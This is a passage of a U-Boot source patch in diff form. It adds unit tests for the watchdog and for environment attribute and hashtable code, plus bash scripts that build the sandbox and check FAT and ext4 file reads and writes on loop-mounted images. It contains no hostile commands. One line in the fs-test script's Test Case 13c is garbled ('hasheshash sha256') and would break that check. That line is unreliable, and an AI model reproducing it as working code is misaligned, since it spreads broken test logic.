+ ut_asserteq(!val, sandbox_gpio_get_value(gpio, offset));
+
+ /* After another ~30ms, both devices should get pinged. */
+ timer_test_add_offset(30);
+ cyclic_run();
+ ut_asserteq(reset_count + 1, state->wdt.reset_count);
+ ut_asserteq(val, sandbox_gpio_get_value(gpio, offset));
+
+ return 0;
+}
+DM_TEST(dm_test_wdt_watchdog_reset, UT_TESTF_SCAN_FDT);
diff --git a/test/env/Kconfig b/test/env/Kconfig
new file mode 100644
index 00000000000..6cb82337b36
--- /dev/null
+++ b/test/env/Kconfig
@@ -0,0 +1,9 @@
+config UT_ENV
+ bool "Enable env unit tests"
+ depends on UNIT_TEST
+ default y
+ help
+ This enables the 'ut env' command which runs a series of unit
+ tests on the env code.
+ If all is well then all tests pass although there will be a few
+ messages printed along the way.
diff --git a/test/env/Makefile b/test/env/Makefile
new file mode 100644
index 00000000000..9a98fd47966
--- /dev/null
+++ b/test/env/Makefile
@@ -0,0 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2015 National Instruments, Inc
+
+obj-y += cmd_ut_env.o
+obj-y += attr.o
+obj-y += hashtable.o
+obj-$(CONFIG_ENV_IMPORT_FDT) += fdt.o
diff --git a/test/env/attr.c b/test/env/attr.c
new file mode 100644
index 00000000000..de5d5d4ee27
--- /dev/null
+++ b/test/env/attr.c
@@ -0,0 +1,87 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2015
+ * Joe Hershberger, National Instruments, joe.hershberger@ni.com
+ */
+
+#include <command.h>
+#include <env_attr.h>
+#include <test/env.h>
+#include <test/ut.h>
+
+static int env_test_attrs_lookup(struct unit_test_state *uts)
+{
+ char attrs[32];
+
+ ut_assertok(env_attr_lookup("foo:bar", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup(",foo:bar", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup(",foo:bar,", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup(" foo:bar", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup("foo : bar", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup(" foo: bar ", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup("foo:bar ", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup(",foo:bar,goo:baz", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_asserteq(-ENOENT, env_attr_lookup(",,", "foo", attrs));
+
+ ut_asserteq(-ENOENT, env_attr_lookup("goo:baz", "foo", attrs));
+
+ ut_assertok(env_attr_lookup("foo:bar,foo:bat,foo:baz", "foo", attrs));
+ ut_asserteq_str("baz", attrs);
+
+ ut_assertok(env_attr_lookup(
+ " foo : bar , foo : bat , foot : baz ", "foo", attrs));
+ ut_asserteq_str("bat", attrs);
+
+ ut_assertok(env_attr_lookup(
+ " foo : bar , foo : bat , ufoo : baz ", "foo", attrs));
+ ut_asserteq_str("bat", attrs);
+
+ ut_asserteq(-EINVAL, env_attr_lookup(NULL, "foo", attrs));
+ ut_asserteq(-EINVAL, env_attr_lookup("foo:bar", "foo", NULL));
+
+ return 0;
+}
+ENV_TEST(env_test_attrs_lookup, 0);
+
+#ifdef CONFIG_REGEX
+static int env_test_attrs_lookup_regex(struct unit_test_state *uts)
+{
+ char attrs[32];
+
+ ut_assertok(env_attr_lookup("foo1?:bar", "foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup("foo1?:bar", "foo1", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup(".foo:bar", ".foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup(".foo:bar", "ufoo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_assertok(env_attr_lookup("\\.foo:bar", ".foo", attrs));
+ ut_asserteq_str("bar", attrs);
+
+ ut_asserteq(-ENOENT, env_attr_lookup("\\.foo:bar", "ufoo", attrs));
+
+ return 0;
+}
+ENV_TEST(env_test_attrs_lookup_regex, 0);
+#endif
diff --git a/test/env/cmd_ut_env.c b/test/env/cmd_ut_env.c
new file mode 100644
index 00000000000..13e0998341e
--- /dev/null
+++ b/test/env/cmd_ut_env.c
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2015
+ * Joe Hershberger, National Instruments, joe.hershberger@ni.com
+ */
+
+#include <command.h>
+#include <test/env.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+int do_ut_env(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(env_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(env_test);
+
+ return cmd_ut_category("environment", "env_test_",
+ tests, n_ents, argc, argv);
+}
diff --git a/test/env/fdt.c b/test/env/fdt.c
new file mode 100644
index 00000000000..c495ac7b307
--- /dev/null
+++ b/test/env/fdt.c
@@ -0,0 +1,19 @@
+#include <command.h>
+#include <env_attr.h>
+#include <test/env.h>
+#include <test/ut.h>
+
+static int env_test_fdt_import(struct unit_test_state *uts)
+{
+ const char *val;
+
+ val = env_get("from_fdt");
+ ut_assertnonnull(val);
+ ut_asserteq_str("yes", val);
+
+ val = env_get("fdt_env_path");
+ ut_assertnull(val);
+
+ return 0;
+}
+ENV_TEST(env_test_fdt_import, 0);
diff --git a/test/env/hashtable.c b/test/env/hashtable.c
new file mode 100644
index 00000000000..ccdf0138c4b
--- /dev/null
+++ b/test/env/hashtable.c
@@ -0,0 +1,126 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2019
+ * Roman Kapl, SYSGO, rka@sysgo.com
+ */
+
+#include <command.h>
+#include <log.h>
+#include <search.h>
+#include <stdio.h>
+#include <vsprintf.h>
+#include <test/env.h>
+#include <test/ut.h>
+
+#define SIZE 32
+#define ITERATIONS 10000
+
+static int htab_fill(struct unit_test_state *uts,
+ struct hsearch_data *htab, size_t size)
+{
+ size_t i;
+ struct env_entry item;
+ struct env_entry *ritem;
+ char key[20];
+
+ for (i = 0; i < size; i++) {
+ sprintf(key, "%d", (int)i);
+ item.callback = NULL;
+ item.data = key;
+ item.flags = 0;
+ item.key = key;
+ ut_asserteq(1, hsearch_r(item, ENV_ENTER, &ritem, htab, 0));
+ }
+
+ return 0;
+}
+
+static int htab_check_fill(struct unit_test_state *uts,
+ struct hsearch_data *htab, size_t size)
+{
+ size_t i;
+ struct env_entry item;
+ struct env_entry *ritem;
+ char key[20];
+
+ for (i = 0; i < size; i++) {
+ sprintf(key, "%d", (int)i);
+ item.callback = NULL;
+ item.flags = 0;
+ item.data = key;
+ item.key = key;
+ hsearch_r(item, ENV_FIND, &ritem, htab, 0);
+ ut_assert(ritem);
+ ut_asserteq_str(key, ritem->key);
+ ut_asserteq_str(key, ritem->data);
+ }
+
+ return 0;
+}
+
+static int htab_create_delete(struct unit_test_state *uts,
+ struct hsearch_data *htab, size_t iterations)
+{
+ size_t i;
+ struct env_entry item;
+ struct env_entry *ritem;
+ char key[20];
+
+ for (i = 0; i < iterations; i++) {
+ sprintf(key, "cd-%d", (int)i);
+ item.callback = NULL;
+ item.flags = 0;
+ item.data = key;
+ item.key = key;
+ hsearch_r(item, ENV_ENTER, &ritem, htab, 0);
+ ritem = NULL;
+
+ hsearch_r(item, ENV_FIND, &ritem, htab, 0);
+ ut_assert(ritem);
+ ut_asserteq_str(key, ritem->key);
+ ut_asserteq_str(key, ritem->data);
+
+ ut_asserteq(0, hdelete_r(key, htab, 0));
+ }
+
+ return 0;
+}
+
+/* Completely fill up the hash table */
+static int env_test_htab_fill(struct unit_test_state *uts)
+{
+ struct hsearch_data htab;
+
+ memset(&htab, 0, sizeof(htab));
+ ut_asserteq(1, hcreate_r(SIZE, &htab));
+
+ ut_assertok(htab_fill(uts, &htab, SIZE));
+ ut_assertok(htab_check_fill(uts, &htab, SIZE));
+ ut_asserteq(SIZE, htab.filled);
+
+ hdestroy_r(&htab);
+ return 0;
+}
+
+ENV_TEST(env_test_htab_fill, 0);
+
+/* Fill the hashtable up halfway an repeateadly delete/create elements
+ * and check for corruption
+ */
+static int env_test_htab_deletes(struct unit_test_state *uts)
+{
+ struct hsearch_data htab;
+
+ memset(&htab, 0, sizeof(htab));
+ ut_asserteq(1, hcreate_r(SIZE, &htab));
+
+ ut_assertok(htab_fill(uts, &htab, SIZE / 2));
+ ut_assertok(htab_create_delete(uts, &htab, ITERATIONS));
+ ut_assertok(htab_check_fill(uts, &htab, SIZE / 2));
+ ut_asserteq(SIZE / 2, htab.filled);
+
+ hdestroy_r(&htab);
+ return 0;
+}
+
+ENV_TEST(env_test_htab_deletes, 0);
diff --git a/test/fs/fat-noncontig-test.sh b/test/fs/fat-noncontig-test.sh
new file mode 100755
index 00000000000..b02dae765f6
--- /dev/null
+++ b/test/fs/fat-noncontig-test.sh
@@ -0,0 +1,144 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0+
+
+# (C) Copyright 2015 Stephen Warren
+
+# This script tests U-Boot's FAT filesystem code's ability to read non-
+# contiguous files.
+
+# When porting the ff.c FAT parsing code into U-Boot, it was found that ff.c
+# always reads files cluster-by-cluster, which results in poor performance.
+# This was solved by adding a patch to ff.c to coalesce reads of adjacent
+# clusters. Since this patch needed to correctly handle non-contiguous files,
+# this test was written to validate that.
+#
+# To execute the test, simply run it from the U-Boot source root directory:
+#
+# cd u-boot
+# ./test/fs/fat-noncontig-test.sh
+#
+# The test will create a FAT filesystem image, record the CRC of a randomly
+# generated file in the image, build U-Boot sandbox, invoke U-Boot sandbox to
+# read the file and validate that the CRCs match. Expected output is shown
+# below. The important part of the log is the penultimate line that contains
+# either "PASS" or "FAILURE".
+#
+# mkfs.fat 3.0.26 (2014-03-07)
+#
+#
+# U-Boot 2015.10-rc4-00018-g4b22a3e5513f (Oct 03 2015 - 13:49:23 -0600)
+#
+# DRAM: 128 MiB
+# Using default environment
+#
+# In: serial
+# Out: lcd
+# Err: lcd
+# Net: No ethernet found.
+# => host bind 0 sandbox/fat-noncontig.img
+# => load host 0:0 1000 noncontig.img
+# 33584964 bytes read in 18 ms (1.7 GiB/s)
+# => crc32 1000 $filesize 0
+# crc32 for 00001000 ... 02008743 ==> 6a080523
+# => if itest.l *0 != 2305086a; then echo FAILURE; else echo PASS; fi
+# PASS
+# => reset
+#
+# All temporary files used by this script are created in ./sandbox to avoid
+# polluting the source tree. test/fs/fs-test.sh also uses this directory for
+# the same purpose.
+#
+# TODO: Integrate this (and many other corner-cases e.g. different types of
+# FAT) with fs-test.sh so that a single script tests everything filesystem-
+# related.
+
+odir=sandbox
+img=${odir}/fat-noncontig.img
+mnt=${odir}/mnt
+fill=/dev/urandom
+testfn=noncontig.img
+mnttestfn=${mnt}/${testfn}
+crcaddr=0
+loadaddr=1000
+
+for prereq in fallocate mkfs.fat dd crc32; do
+ if [ ! -x "`which $prereq`" ]; then
+ echo "Missing $prereq binary. Exiting!"
+ exit 1
+ fi
+done
+
+make O=${odir} -s sandbox_defconfig && make O=${odir} -s -j8
+
+mkdir -p ${mnt}
+if [ ! -f ${img} ]; then
+ fallocate -l 40M ${img}
+ if [ $? -ne 0 ]; then
+ echo fallocate failed - using dd instead
+ dd if=/dev/zero of=${img} bs=1024 count=$((40 * 1024))
+ if [ $? -ne 0 ]; then
+ echo Could not create empty disk image
+ exit $?
+ fi
+ fi
+ mkfs.fat ${img}
+ if [ $? -ne 0 ]; then
+ echo Could not create FAT filesystem
+ exit $?
+ fi
+
+ sudo mount -o loop,uid=$(id -u) ${img} ${mnt}
+ if [ $? -ne 0 ]; then
+ echo Could not mount test filesystem
+ exit $?
+ fi
+
+ for ((sects=8; sects < 512; sects += 8)); do
+ fn=${mnt}/keep-${sects}.img
+ dd if=${fill} of=${fn} bs=512 count=${sects} >/dev/null 2>&1
+ fn=${mnt}/remove-${sects}.img
+ dd if=${fill} of=${fn} bs=512 count=${sects} >/dev/null 2>&1
+ done
+
+ rm -f ${mnt}/remove-*.img
+
+ # 511 deliberately to trigger a file size that's not a multiple of the
+ # sector size (ignoring sizes that are multiples of both).
+ dd if=${fill} of=${mnttestfn} bs=511 >/dev/null 2>&1
+
+ sudo umount ${mnt}
+ if [ $? -ne 0 ]; then
+ echo Could not unmount test filesystem
+ exit $?
+ fi
+fi
+
+sudo mount -o ro,loop,uid=$(id -u) ${img} ${mnt}
+if [ $? -ne 0 ]; then
+ echo Could not mount test filesystem
+ exit $?
+fi
+crc=0x`crc32 ${mnttestfn}`
+sudo umount ${mnt}
+if [ $? -ne 0 ]; then
+ echo Could not unmount test filesystem
+ exit $?
+fi
+
+crc=`printf %02x%02x%02x%02x \
+ $((${crc} & 0xff)) \
+ $(((${crc} >> 8) & 0xff)) \
+ $(((${crc} >> 16) & 0xff)) \
+ $((${crc} >> 24))`
+
+./sandbox/u-boot << EOF
+host bind 0 ${img}
+load host 0:0 ${loadaddr} ${testfn}
+crc32 ${loadaddr} \$filesize ${crcaddr}
+if itest.l *${crcaddr} != ${crc}; then echo FAILURE; else echo PASS; fi
+reset
+EOF
+if [ $? -ne 0 ]; then
+ echo U-Boot exit status indicates an error
+ exit $?
+fi
diff --git a/test/fs/fs-test.sh b/test/fs/fs-test.sh
new file mode 100755
index 00000000000..257b50fd063
--- /dev/null
+++ b/test/fs/fs-test.sh
@@ -0,0 +1,627 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0+
+#
+# (C) Copyright 2014 Suriyan Ramasami
+
+# Invoke this test script from U-Boot base directory as ./test/fs/fs-test.sh
+# It currently tests the fs/sb and native commands for ext4 and fat partitions
+# Expected results are as follows:
+# EXT4 tests:
+# fs-test.sb.ext4 Summary: PASS: 24 FAIL: 0
+# fs-test.nonfs.ext4 Summary: PASS: 24 FAIL: 0
+# fs-test.fs.ext4 Summary: PASS: 24 FAIL: 0
+# FAT16 tests:
+# fs-test.sb.fat16 Summary: PASS: 24 FAIL: 0
+# fs-test.nonfs.fat16 Summary: PASS: 24 FAIL: 0
+# fs-test.fs.fat16 Summary: PASS: 24 FAIL: 0
+# FAT32 tests:
+# fs-test.sb.fat32 Summary: PASS: 24 FAIL: 0
+# fs-test.nonfs.fat32 Summary: PASS: 24 FAIL: 0
+# fs-test.fs.fat32 Summary: PASS: 24 FAIL: 0
+# --------------------------------------------
+# Total Summary: TOTAL PASS: 216 TOTAL FAIL: 0
+# --------------------------------------------
+
+# pre-requisite binaries list.
+PREREQ_BINS="sha256sum mkfs mount umount dd fallocate mkdir"
+
+# All generated output files from this test will be in $OUT_DIR
+# Hence everything is sandboxed.
+OUT_DIR="sandbox/test/fs"
+
+# Location of generated sandbox u-boot
+UBOOT="./sandbox/u-boot"
+
+# Our mount directory will be in the sandbox
+MOUNT_DIR="${OUT_DIR}/mnt"
+
+# The file system image we create will have the $IMG prefix.
+IMG="${OUT_DIR}/3GB"
+
+# $SMALL_FILE is the name of the 1MB file in the file system image
+SMALL_FILE="1MB.file"
+
+# $BIG_FILE is the name of the 2.5GB file in the file system image
+BIG_FILE="2.5GB.file"
+
+# $HASH_FILE will have the expected hashes when we do the test
+# They shall have a suffix which represents their file system (ext4/fat16/...)
+HASH_FILE="${OUT_DIR}/hash.list"
+
+# $OUT shall be the prefix of the test output. Their suffix will be .out
+OUT="${OUT_DIR}/fs-test"
+
+# Full Path of the 1 MB file that shall be created in the fs image.
+MB1="${MOUNT_DIR}/${SMALL_FILE}"
+GB2p5="${MOUNT_DIR}/${BIG_FILE}"
+
+# ************************
+# * Functions start here *
+# ************************
+
+# Check if the prereq binaries exist, or exit
+function check_prereq() {
+ for prereq in $PREREQ_BINS; do
+ if [ ! -x "`which $prereq`" ]; then
+ echo "Missing $prereq binary. Exiting!"
+ exit
+ fi
+ done
+
+ # We use /dev/urandom to create files. Check if it exists.
+ if [ ! -c /dev/urandom ]; then
+ echo "Missing character special /dev/urandom. Exiting!"
+ exit
+ fi
+}
+
+# If 1st param is "clean", then clean out the generated files and exit
+function check_clean() {
+ if [ "$1" = "clean" ]; then
+ rm -rf "$OUT_DIR"
+ echo "Cleaned up generated files. Exiting"
+ exit
+ fi
+}
+
+# Generate sandbox U-Boot - gleaned from /test/dm/test-dm.sh
+function compile_sandbox() {
+ unset CROSS_COMPILE
+ NUM_CPUS=$(nproc)
+ make O=sandbox sandbox_config
+ make O=sandbox -s -j${NUM_CPUS}
+
+ # Check if U-Boot exists
+ if [ ! -x "$UBOOT" ]; then
+ echo "$UBOOT does not exist or is not executable"
+ echo "Build error?"
+ echo "Please run this script as ./test/fs/`basename $0`"
+ exit
+ fi
+}
+
+# Clean out all generated files other than the file system images
+# We save time by not deleting and recreating the file system images
+function prepare_env() {
+ rm -f ${HASH_FILE}.* ${OUT}.*
+ mkdir -p ${OUT_DIR}
+}
+
+# 1st parameter is the name of the image file to be created
+# 2nd parameter is the filesystem - fat16 ext4 etc
+# -F cant be used with fat as it means something else.
+function create_image() {
+ # Create image if not already present - saves time, while debugging
+ case "$2" in
+ fat16)
+ MKFS_OPTION="-F 16"
+ FS_TYPE="fat"
+ ;;
+ fat32)
+ MKFS_OPTION="-F 32"
+ FS_TYPE="fat"
+ ;;
+ ext4)
+ MKFS_OPTION="-F"
+ FS_TYPE="ext4"
+ ;;
+ esac
+
+ if [ ! -f "$1" ]; then
+ fallocate -l 3G "$1" &> /dev/null
+ if [ $? -ne 0 ]; then
+ echo fallocate failed - using dd instead
+ dd if=/dev/zero of=$1 bs=1024 count=$((3 * 1024 * 1024))
+ if [ $? -ne 0 ]; then
+ echo Could not create empty disk image
+ exit $?
+ fi
+ fi
+ mkfs -t "$FS_TYPE" $MKFS_OPTION "$1" &> /dev/null
+ if [ $? -ne 0 -a "$FS_TYPE" = "fat" ]; then
+ # If we fail and we did fat, try vfat.
+ mkfs -t vfat $MKFS_OPTION "$1" &> /dev/null
+ fi
+ if [ $? -ne 0 ]; then
+ echo Could not create filesystem
+ exit $?
+ fi
+ fi
+}
+
+# 1st parameter is image file
+# 2nd parameter is file system type - fat16/ext4/...
+# 3rd parameter is name of small file
+# 4th parameter is name of big file
+# 5th parameter is fs/nonfs/sb - to dictate generic fs commands or
+# otherwise or sb hostfs
+# 6th parameter is the directory path for the files. Its "" for generic
+# fs and ext4/fat and full patch for sb hostfs
+# UBOOT is set in env
+function test_image() {
+ addr="0x01000008"
+ length="0x00100000"
+
+ case "$2" in
+ fat*)
+ FPATH=""
+ PREFIX="fat"
+ WRITE="write"
+ ;;
+
+ ext4)
+ # ext4 needs absolute path
+ FPATH="/"
+ PREFIX="ext4"
+ WRITE="write"
+ ;;
+
+ *)
+ echo "Unhandled filesystem $2. Exiting!"
+ exit
+ ;;
+ esac
+
+ case "$5" in
+ fs)
+ PREFIX=""
+ WRITE="save"
+ SUFFIX=" 0:0"
+ ;;
+
+ nonfs)
+ SUFFIX=" 0:0"
+ ;;
+
+ sb)
+ PREFIX="host "
+ WRITE="save"
+ SUFFIX="fs -"
+ ;;
+
+ *)
+ echo "Unhandled mode $5. Exiting!"
+ exit
+ ;;
+
+ esac
+
+ # sb always uses full path to mointpoint, irrespective of filesystem
+ if [ "$5" = "sb" ]; then
+ FPATH=${6}/
+ fi
+
+ FILE_WRITE=${3}.w
+ FILE_SMALL=$3
+ FILE_BIG=$4
+
+ # In u-boot commands, <interface> stands for host or hostfs
+ # hostfs maps to the host fs.
+ # host maps to the "host bind" that we do
+
+ $UBOOT << EOF
+sb=$5
+setenv bind 'if test "\$sb" != sb; then host bind 0 "$1"; fi'
+run bind
+# Test Case 1 - ls
+${PREFIX}ls host${SUFFIX} $6
+# In addition, test with a nonexistent directory to see if we crash.
+${PREFIX}ls host${SUFFIX} invalid_d
+#
+# We want ${PREFIX}size host 0:0 $3 for host commands and
+# host size hostfs - $3 for hostfs commands.
+# 1MB is 0x0010 0000
+# Test Case 2a - size of small file
+${PREFIX}size host${SUFFIX} ${FPATH}$FILE_SMALL
+printenv filesize
+setenv filesize
+# Test Case 2b - size of small file via a path using '..'
+${PREFIX}size host${SUFFIX} ${FPATH}SUBDIR/../$FILE_SMALL
+printenv filesize
+setenv filesize
+
+# 2.5GB (1024*1024*2500) is 0x9C40 0000
+# Test Case 3 - size of big file
+${PREFIX}size host${SUFFIX} ${FPATH}$FILE_BIG
+printenv filesize
+setenv filesize
+
+# Notes about load operation
+# If I use 0x01000000 I get DMA misaligned error message
+# Last two parameters are size and offset.
+
+# Test Case 4a - Read full 1MB of small file
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_SMALL
+printenv filesize
+# Test Case 4b - Read full 1MB of small file
+hash sha256 $addr \$filesize
+setenv filesize
+
+# Test Case 5a - First 1MB of big file
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_BIG $length 0x0
+printenv filesize
+# Test Case 5b - First 1MB of big file
+hash sha256 $addr \$filesize
+setenv filesize
+
+# fails for ext as no offset support
+# Test Case 6a - Last 1MB of big file
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_BIG $length 0x9C300000
+printenv filesize
+# Test Case 6b - Last 1MB of big file
+hash sha256 $addr \$filesize
+setenv filesize
+
+# fails for ext as no offset support
+# Test Case 7a - One from the last 1MB chunk of 2GB
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_BIG $length 0x7FF00000
+printenv filesize
+# Test Case 7b - One from the last 1MB chunk of 2GB
+hash sha256 $addr \$filesize
+setenv filesize
+
+# fails for ext as no offset support
+# Test Case 8a - One from the start 1MB chunk from 2GB
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_BIG $length 0x80000000
+printenv filesize
+# Test Case 8b - One from the start 1MB chunk from 2GB
+hash sha256 $addr \$filesize
+setenv filesize
+
+# fails for ext as no offset support
+# Test Case 9a - One 1MB chunk crossing the 2GB boundary
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_BIG $length 0x7FF80000
+printenv filesize
+# Test Case 9b - One 1MB chunk crossing the 2GB boundary
+hash sha256 $addr \$filesize
+setenv filesize
+
+# Generic failure case
+# Test Case 10 - 2MB chunk from the last 1MB of big file
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_BIG 0x00200000 0x9C300000
+printenv filesize
+#
+
+# Read 1MB from small file
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_SMALL
+# Write it back to test the writes
+# Test Case 11a - Check that the write succeeded
+${PREFIX}${WRITE} host${SUFFIX} $addr ${FPATH}$FILE_WRITE \$filesize
+mw.b $addr 00 100
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_WRITE
+# Test Case 11b - Check hash of written to is same as the one read from
+hash sha256 $addr \$filesize
+setenv filesize
+#
+
+# Next test case checks writing a file whose dirent
+# is the first in the block, which is always true for "."
+# The write should fail, but the lookup should work
+# Test Case 12 - Check directory traversal
+${PREFIX}${WRITE} host${SUFFIX} $addr ${FPATH}. 0x10
+
+# Read 1MB from small file
+${PREFIX}load host${SUFFIX} $addr ${FPATH}$FILE_SMALL
+# Write it via "same directory", i.e. "." dirent
+# Test Case 13a - Check directory traversal
+${PREFIX}${WRITE} host${SUFFIX} $addr ${FPATH}./${FILE_WRITE}2 \$filesize
+mw.b $addr 00 100
+${PREFIX}load host${SUFFIX} $addr ${FPATH}./${FILE_WRITE}2
+# Test Case 13b - Check hash of written to is same as the one read from
+hash sha256 $addr \$filesize
+setenv filesize
+mw.b $addr 00 100
+${PREFIX}load host${SUFFIX} $addr ${FPATH}${FILE_WRITE}2
+# Test Case 13c - Check hash of written to is same as the one read from
+ hasheshash sha256 $addr \$filesize
+setenv filesize
+#
+reset
+
+EOF
+}
+
+# 1st argument is the name of the image file.
+# 2nd argument is the file where we generate the hashes of the files
+# generated with the appropriate start and length that we use to test.
+# It creates the necessary files in the image to test.
+# $GB2p5 is the path of the big file (2.5 GB)
+# $MB1 is the path of the small file (1 MB)
+# $MOUNT_DIR is the path we can use to mount the image file.
+function create_files() {
+ # Mount the image so we can populate it.
+ mkdir -p "$MOUNT_DIR"
+ sudo mount -o loop,rw "$1" "$MOUNT_DIR"
+
+ # Create a subdirectory.
+ sudo mkdir -p "$MOUNT_DIR/SUBDIR"
+
+ # Create big file in this image.
+ # Note that we work only on the start 1MB, couple MBs in the 2GB range
+ # and the last 1 MB of the huge 2.5GB file.
+ # So, just put random values only in those areas.
+ if [ ! -f "${GB2p5}" ]; then
+ sudo dd if=/dev/urandom of="${GB2p5}" bs=1M count=1 \
+ &> /dev/null
+ sudo dd if=/dev/urandom of="${GB2p5}" bs=1M count=2 seek=2047 \
+ &> /dev/null
+ sudo dd if=/dev/urandom of="${GB2p5}" bs=1M count=1 seek=2499 \
+ &> /dev/null
+ fi
+
+ # Create a small file in this image.
+ if [ ! -f "${MB1}" ]; then
+ sudo dd if=/dev/urandom of="${MB1}" bs=1M count=1 \
+ &> /dev/null
+ fi
+
+ # Delete the small file copies which possibly are written as part of a
+ # previous test.
+ sudo rm -f "${MB1}.w"
+ sudo rm -f "${MB1}.w2"
+
+ # Generate the hashes of reads that we will test against small file
+ dd if="${MB1}" bs=1M skip=0 count=1 2> /dev/null | sha256sum > "$2"
+
+ # Generate the hashes of reads that we will test against big file
+ # One from beginning of file.
+ dd if="${GB2p5}" bs=1M skip=0 count=1 \
+ 2> /dev/null | sha256sum >> "$2"
+
+ # One from end of file.
+ dd if="${GB2p5}" bs=1M skip=2499 count=1 \
+ 2> /dev/null | sha256sum >> "$2"
+
+ # One from the last 1MB chunk of 2GB
+ dd if="${GB2p5}" bs=1M skip=2047 count=1 \
+ 2> /dev/null | sha256sum >> "$2"
+
+ # One from the start 1MB chunk from 2GB
+ dd if="${GB2p5}" bs=1M skip=2048 count=1 \
+ 2> /dev/null | sha256sum >> "$2"
+
+ # One 1MB chunk crossing the 2GB boundary
+ dd if="${GB2p5}" bs=512K skip=4095 count=2 \
+ 2> /dev/null | sha256sum >> "$2"
+
+ sync
+ sudo umount "$MOUNT_DIR"
+ rmdir "$MOUNT_DIR"
+}
+
+# 1st parameter is the text to print
+# if $? is 0 its a pass, else a fail
+# As a side effect it shall update env variable PASS and FAIL
+function pass_fail() {
+ if [ $? -eq 0 ]; then
+ echo pass - "$1"
+ PASS=$((PASS + 1))
+ else
+ echo FAIL - "$1"
+ FAIL=$((FAIL + 1))
+ fi
+}
+
+# 1st parameter is the string which leads to an hash generation
+# 2nd parameter is the file we grep, for that string
+# 3rd parameter is the name of the file which has hashes in it
+# 4th parameter is the line # in the hash file that we match against
+# This function checks if the hash of the file in the sandbox matches
+# that calculated while generating the file
+# 5th parameter is the string to print with the result
+check_hash() {
+ # hash cmd output in u-boot has output of form:
+ # sha256 for 01000008 ... 01100007 ==> <hash>
+ # the 7th field is the actual hash
+ hash_src=`grep -A2 "$1" "$2" | grep "sha256 for" | tr -d '\r'`
+ hash_src=($hash_src)
+ hash_src=${hash_src[6]}
+
+ # The hash list, each line is of the form:
+ # - <hash>
+ # the 2nd field is the actual hash
+ hash_dst=`sed -n $4p $3`
+ hash_dst=($hash_dst)
+ hash_dst=${hash_dst[0]}
+
+ # For a pass they should match.
+ [ "$hash_src" = "$hash_dst" ]
+ pass_fail "$5"
+}
+
+# 1st parameter is the name of the output file to check
+# 2nd parameter is the name of the file containing the expected hash
+# 3rd parameter is the name of the small file
+# 4th parameter is the name of the big file
+# 5th paramter is the name of the written file
+# This function checks the output file for correct results.
+function check_results() {
+ echo "** Start $1"
+
+ PASS=0
+ FAIL=0
+
+ # Check if the ls is showing correct results for 2.5 gb file
+ grep -A7 "Test Case 1 " "$1" | grep -Eiq "2621440000 *$4"
+ pass_fail "TC1: ls of $4"
+
+ # Check if the ls is showing correct results for 1 mb file
+ grep -A7 "Test Case 1 " "$1" | grep -Eiq "1048576 *$3"
+ pass_fail "TC1: ls of $3"
+
+ # Check size command on 1MB.file
+ grep -A3 "Test Case 2a " "$1" | grep -q "filesize=100000"
+ pass_fail "TC2: size of $3"
+ # Check size command on 1MB.file via a path using '..'
+ grep -A3 "Test Case 2b " "$1" | grep -q "filesize=100000"
+ pass_fail "TC2: size of $3 via a path using '..'"
+
+ # Check size command on 2.5GB.file
+ grep -A3 "Test Case 3 " "$1" | grep -q "filesize=9c400000"
+ pass_fail "TC3: size of $4"
+
+ # Check read full mb of 1MB.file
+ grep -A4 "Test Case 4a " "$1" | grep -q "filesize=100000"
+ pass_fail "TC4: load of $3 size"
+ check_hash "Test Case 4b " "$1" "$2" 1 "TC4: load from $3"
+
+ # Check first mb of 2.5GB.file
+ grep -A4 "Test Case 5a " "$1" | grep -q "filesize=100000"
+ pass_fail "TC5: load of 1st MB from $4 size"
+ check_hash "Test Case 5b " "$1" "$2" 2 "TC5: load of 1st MB from $4"
+
+ # Check last mb of 2.5GB.file
+ grep -A4 "Test Case 6a " "$1" | grep -q "filesize=100000"
+ pass_fail "TC6: load of last MB from $4 size"
+ check_hash "Test Case 6b " "$1" "$2" 3 "TC6: load of last MB from $4"
+
+ # Check last 1mb chunk of 2gb from 2.5GB file
+ grep -A4 "Test Case 7a " "$1" | grep -q "filesize=100000"
+ pass_fail "TC7: load of last 1mb chunk of 2GB from $4 size"
+ check_hash "Test Case 7b " "$1" "$2" 4 \
+ "TC7: load of last 1mb chunk of 2GB from $4"
+
+ # Check first 1mb chunk after 2gb from 2.5GB file
+ grep -A4 "Test Case 8a " "$1" | grep -q "filesize=100000"
